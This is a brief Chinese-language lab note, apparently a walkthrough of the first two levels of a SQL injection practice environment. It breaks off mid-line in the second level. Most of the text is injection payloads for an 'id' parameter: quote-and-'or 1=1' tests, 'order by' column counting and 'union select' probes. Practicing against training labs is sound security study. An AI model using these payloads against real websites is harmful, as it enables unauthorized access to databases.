目录
一到四关主要是参数被包装的问题。一般用于尝试的语句
Less1
id=1 id=2,判断数据有交互,为动态页面
id=3’or 1=1-- - 判断逻辑结构,为字符型
id=3’ order by7-- - 表示显示不足7列
id=3’ order by3-- -未出现错误,表示总共3列,只显示2列
通过id=-3’ union select 1,2,3-- - 探寻出显示列为第2,3列
Less 2
id=1 id=2,判断数据有交互,为动态页面
通过id=2’ or 1=1-- -显示错误页面,判断出为数字类型
id=3 order by7-- - 表示显示不足7列
Id=3 order by3-- -未出现